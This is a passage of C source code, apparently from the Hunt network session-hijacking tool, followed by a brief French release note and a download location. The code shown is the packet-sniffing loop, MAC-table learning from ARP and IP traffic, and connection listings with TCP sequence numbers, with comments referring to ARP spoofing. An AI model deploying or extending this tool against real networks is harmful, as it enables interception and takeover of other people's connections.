 list_iter_set(&iter, &l_ifunc_arp);
 while ((li = list_iter_get(&iter)))
  li->func(p, li->arg);
 list_iter_end(&iter);
}

static void process_ip(struct packet *p)
{
 struct ifunc_item *li;
 struct list_iterator iter;

 list_iter_set(&iter, &l_ifunc_ip);
 while ((li = list_iter_get(&iter)))
  li->func(p, li->arg);
 list_iter_end(&iter);
}

/*
 * sample of ifunc
 */
#if 0
struct list m_packet_list = LIST_INIT(struct packet, p_next[MODULE_NR]);

void m_func_tcp(struct packet *p)
{
 if (want_it) {
  packet_want(p);
  list_produce(&m_packet_list, p);
 }
}
#endif

static inline void fast_tcp_process(struct packet *p)
{
 struct list_iterator iter;
 struct ifunc_item *li;

 list_lock(&l_ifunc_fast_tcp);
 list_iter_set(&iter, &l_ifunc_fast_tcp);
 while ((li = list_iter_get(&iter)))
  li->func(p, li->arg);
 list_iter_end(&iter);
 list_unlock(&l_ifunc_fast_tcp);
}

static void mac_table_update(unsigned int ip, char *mac)
{
 struct mac_info *mi;

 hash_lock(&mac_table);
 if ((mi = hash_get(&mac_table, ip, NULL))) {
  if (memcmp(mi->mac, mac, sizeof(mi->mac))) {
   pthread_mutex_lock(&mi->mutex);
   memcpy(mi->mac, mac, sizeof(mi->mac));
   pthread_mutex_unlock(&mi->mutex);
  }
 } else {
  mi = malloc(sizeof(struct mac_info));
  assert(mi);
  memcpy(mi->mac, mac, sizeof(mi->mac));
  pthread_mutex_init(&mi->mutex, NULL);
  hash_put(&mac_table, ip, mi);
 }
 hash_unlock(&mac_table);
}

struct mac_info *mac_info_get(unsigned int ip)
{
 struct mac_info *mi;

 hash_lock(&mac_table);
 if ((mi = hash_get(&mac_table, ip, NULL))) {
  pthread_mutex_lock(&mi->mutex);
 }
 hash_unlock(&mac_table);
 return mi;
}

void mac_info_release(struct mac_info *mi)
{
 pthread_mutex_unlock(&mi->mutex);
}

static void mac_arp_learn(struct packet *p)
{
 unsigned int ip;
 char *mac;
 struct arpeth_hdr *arpethh;

 arpethh = (struct arpeth_hdr *)(p->p_arph + 1);

 if (p->p_arph->ar_op == htons(ARPOP_REPLY) ||
     p->p_arph->ar_op == htons(ARPOP_REQUEST)) {
  ip = *(unsigned int *) arpethh->ar_sip;
  mac = arpethh->ar_sha;
  if (memcmp(mac, p->p_ethh->h_source, ETH_ALEN) == 0)
   mac_table_update(ip, mac);
  else
   fprintf(stderr, "ARP: MAC src != ARP src for host %s\n", host_lookup(ip, hl_mode));
 }
}

static void mac_ip_learn(struct packet *p)
{
 unsigned int ip;
 char *mac;

 ip = p->p_iph->saddr;
 mac = p->p_ethh->h_source;
 mac_table_update(ip, mac);
 /*
  * well, don't learn mac addresses from dst as they can be spoofed
  * (even though check can be made)
  */
}

/*
 *
 * hunt
 *
 */
unsigned int pkts_received = 0;
unsigned int pkts_dropped = 0;
unsigned int pkts_unhandled = 0;
unsigned int bytes_received = 0;

void *hunt(void *arg)
{
 struct packet *p;
 struct ethhdr *ethh;
 struct iphdr *iph;
#ifdef WITH_RECVMSG
 struct msghdr msg;
 struct sockaddr_pkt spkt;
 struct iovec iov;
#endif
 pthread_sigmask(SIG_BLOCK, &intr_mask, NULL);

 if (verbose)
  printf("hunt pid %d\n", getpid());
 add_telnet_rlogin_policy();
 if (hash_init(&conn_table, 100, (hash_equal_func)ht_eq)) { /* Initialize hash table of connections */
  perror("hash_init");
  exit(1);
 }
 if (hash_init(&mac_table, 100, NULL)) {
  perror("hash init");
  exit(1);
 }
 linksock = tap(eth_device, 1);                /* Setup link socket */
 if (linksock < 0) {
  perror("linksock");
  exit(1);
 }
 packet_preallocate(64);

 printf("starting hunt\n");
 setpriority(PRIO_PROCESS, getpid(), -20);
 pthread_mutex_lock(&mutex_hunt_ready);
 hunt_ready = 1;
 pthread_cond_signal(&cond_hunt_ready);
 pthread_mutex_unlock(&mutex_hunt_ready);
 while(1) {
  if (!(p = packet_new())) {
   fprintf(stderr, "can't get free packet - out of memory\n");
   exit(1);
  }
#ifdef WITH_RECVMSG
  memset(&msg, 0, sizeof(msg));
  msg.msg_name = &spkt;
  msg.msg_namelen = sizeof(spkt);
  msg.msg_iovlen = 1;
  msg.msg_iov = &iov;
  iov.iov_base = p->p_raw;
  iov.iov_len = sizeof(p->p_raw);
  if ((p->p_raw_len = recvmsg(linksock, &msg, 0)) >= 0)
#else
  if ((p->p_raw_len = recv(linksock, p->p_raw, sizeof(p->p_raw), 0)) > 0)
#endif
  {
   pkts_received++;
   bytes_received += p->p_raw_len;
   /*
    * don't do continue or break without packet_free !!
    */
   if (p->p_raw_len < 14) {
    pkts_dropped++;
    goto cont;
   }
   ALIGNPOINTERS_ETH(p, ethh);
   p->p_ethh = ethh;
   /*
    * in order to speed thinks as mutch as posible for arp stuff
    * the timestamp is moved to swtich p->p_timestamp = time(NULL);
    */
   p->p_timestamp = 0;
   switch (ntohs(ethh->h_proto)) {
       case ETH_P_IP:
    p->p_timestamp = time(NULL);
    if (p->p_raw_len < 14 + 20) {
     pkts_dropped++;
     goto cont;
    }
    ALIGNPOINTERS_IP(ethh, iph);
    p->p_iph = iph;
           if (in_cksum((unsigned short *) iph,
          IP_HDR_LENGTH(iph)) == 0) {
    if (mac_learn_from_ip)
     mac_ip_learn(p);
    process_ip(p);
    /* drop IP fragments and ip packet len > p_raw_len */
    if ((ntohs(iph->frag_off) & IP_OFFMASK) != 0 ||
        (ntohs(iph->frag_off) & IP_MF) ||
        (IP_HDR_LENGTH(iph) + IP_DATA_LENGTH(iph)) > p->p_raw_len) {
     pkts_dropped++;
     goto cont;
    }
    switch (iph->protocol) {
        case IPPROTO_TCP:
     if (p->p_raw_len < 14 + IP_HDR_LENGTH(iph) + 20) {
      pkts_dropped++;
      goto cont;
     }
     p->p_type = PACKET_TCP;
     ALIGNPOINTERS_TCP(iph, p->p_hdr.p_tcph,
         p->p_data);
     p->p_data_len = TCP_DATA_LENGTH(iph, p->p_hdr.p_tcph);
     if (ip_in_cksum(iph, (unsigned short *) p->p_hdr.p_tcph,
         IP_DATA_LENGTH(iph)) == 0) {
      conn_update_table(p, ethh, iph);
      fast_tcp_process(p);
      process_tcp(p);
     } else
      pkts_dropped++;
     break;
        case IPPROTO_UDP:
     if (p->p_raw_len < 14 + IP_HDR_LENGTH(iph) + 8) {
      pkts_dropped++;
      goto cont;
     }
     p->p_type = PACKET_UDP;
     ALIGNPOINTERS_UDP(iph, p->p_hdr.p_udph,
         p->p_data);
     /* check the UDP checksum */
     process_udp(p);
     break;
        case IPPROTO_ICMP:
     if (p->p_raw_len < 14 + IP_HDR_LENGTH(iph) + 8) {
      pkts_dropped++;
      goto cont;
     }
     p->p_type = PACKET_ICMP;
     ALIGNPOINTERS_ICMP(iph, p->p_hdr.p_icmph,
          p->p_data);
     if (in_cksum((unsigned short *) p->p_hdr.p_icmph,
         IP_DATA_LENGTH(iph)) == 0) {
      process_icmp(p);
     } else
      pkts_dropped++;
     break;
        default:
     pkts_unhandled++;
     break;
    }
    } else
     pkts_dropped++; /* bad IP checksum */
    break;
       case ETH_P_ARP:
    if (p->p_raw_len < 14 + 28) {
     pkts_dropped++;
     goto cont;
    }
    p->p_type = PACKET_ARP;
    ALIGNPOINTERS_ARP(ethh, p->p_arph);
    /* do process arp first - in order to do it as fast
       as posible arpspoof needs it */
    process_arp(p);
    p->p_timestamp = time(NULL); /* well, the process_arp does not get timestamp */
    mac_arp_learn(p);
    break;
       default:
    pkts_unhandled++;
    break;
   }
  }
cont:
  packet_free(p);
 }
 return NULL;
}

/*
 *
 * helper functions
 *
 */
void print_tcp(struct iphdr *ip, struct tcphdr *tcp)
{
       fprintf(stdout, "%s [%d] seq=(%u) ack=(%u)\t--->\t%s [%d]\n",
        host_lookup(ip->saddr, hl_mode), ntohs(tcp->source),
        (unsigned int) ntohl(tcp->seq), tcp->ack ? (unsigned int) ntohl(tcp->ack_seq) : 0,
        host_lookup(ip->daddr, hl_mode), ntohs(tcp->dest));
}

static int fill_space_to(char *b, int pos, int where)
{
 if (pos >= 0 && pos < where) {
  return sprintf(b, "%*s", where - pos, "");
 } else
  return 0;
}

int conn_list(struct user_conn_info **ruci, char **rbuf, int with_mac, int with_seq)
{
 struct hash_iterator iter;
 struct conn_info *ci;
 struct user_conn_info *uci;
 int i, count;
 char *b, *b_old, *buf;

 hash_lock(&conn_table);
 count = hash_count(&conn_table);
 if (!count) {
  hash_unlock(&conn_table);
  if (ruci)
   *ruci = NULL;
  if (rbuf)
   *rbuf = NULL;
  return 0;
 }
 if (rbuf) {
  buf = malloc(count * 512);
  assert(buf);
  b = buf;
 } else
  b = buf = NULL;
 if (ruci) {
  uci = malloc(count * sizeof(struct user_conn_info));
  assert(uci);
 } else
  uci = NULL;
 i = 0;
 hash_iter_set(&iter, &conn_table);
 while ((ci = hash_iter_get(&iter, NULL)) && i < count) {
  if (b) {
   b_old = b;
   b += sprintf(b, "%d) %s [%s]", i,
                host_lookup(ci->src_addr, hl_mode),
         port_lookup(ci->src_port, hl_mode));
   b += fill_space_to(b, b - b_old, 30);
   b += sprintf(b, " --> ");
   b += sprintf(b, "%s [%s]\n",
                host_lookup(ci->dst_addr, hl_mode),
         port_lookup(ci->dst_port, hl_mode));
   if (with_seq) {
    b_old = b;
    b += sprintf(b, "     seq=(%u) ack=(%u)",
     (unsigned int) ntohl(ci->src.next_seq), (unsigned int) ntohl(ci->src.next_d_seq));
    b += fill_space_to(b, b - b_old, 45);
    b += sprintf(b, " seq=(%u) ack=(%u)\n",
     (unsigned int) ntohl(ci->dst.next_seq), (unsigned int) ntohl(ci->dst.next_d_seq));
   }
   if (with_mac) {
    b_old = b;
    b += sprintf(b, "     src mac=");
    b += sprintf_eth_mac(b, ci->src.src_mac);
    b += fill_space_to(b, b - b_old, 45);
    b += sprintf(b, " src mac=");
    b += sprintf_eth_mac(b, ci->dst.src_mac);
    b += sprintf(b, "\n");

    b_old = b;
    b += sprintf(b, "     dst mac=");
    b += sprintf_eth_mac(b, ci->src.dst_mac);
    b += fill_space_to(b, b - b_old, 45);
    b += sprintf(b, " dst mac=");
    b += sprintf_eth_mac(b, ci->dst.dst_mac);
    b += sprintf(b, "\n");
   }
  }
  if (uci) {
   uci[i].src_addr = ci->src_addr;
   uci[i].dst_addr = ci->dst_addr;
   uci[i].src_port = ci->src_port;
   uci[i].dst_port = ci->dst_port;
  }
  i++;
 }
 hash_iter_end(&iter);
 hash_unlock(&conn_table);

 if (ruci)
  *ruci = uci;
 if (rbuf)
  *rbuf = buf;
 return count;
}

void print_mac_table(void)
{
 struct hash_iterator hi;
 char buf[BUFSIZE];
 unsigned int key;
 struct mac_info *mi;
 int i = 0;

 printf("--- mac table ---\n");
 hash_iter_set(&hi, &mac_table);
 while ((mi = hash_iter_get(&hi, &key))) {
  sprintf_eth_mac(buf, mi->mac);
  printf("%-24s %s\n", host_lookup(key, hl_mode), buf);
  if (++i % lines_o == 0)
   lines_o_press_key();
 }
 hash_iter_end(&hi);
}

void print_user_conn_info(struct user_conn_info *uci, int count)
{
 int i, ret;

 for (i = 0; i < count; i++) {
  ret = printf("%d) %s [%s]", i,
               host_lookup(uci->src_addr, hl_mode),
        port_lookup(uci->src_port, hl_mode));
  printf("%*s", 25 - ret > 0 ? 20 - ret : 0, "");
  printf(" --> ");
  printf("%s [%s]\n",
         host_lookup(uci->dst_addr, hl_mode),
         port_lookup(uci->dst_port, hl_mode));
 }
}

Quoi de plus sur cette version 1.4:

spoofing des cibles qui sont déconnectées ou hors-service et il peut ne pas intercepter certains packets spécifiques.

Où télécharger les Hunt:

ftp://ftp.gncz.cz/pub/linux/hunt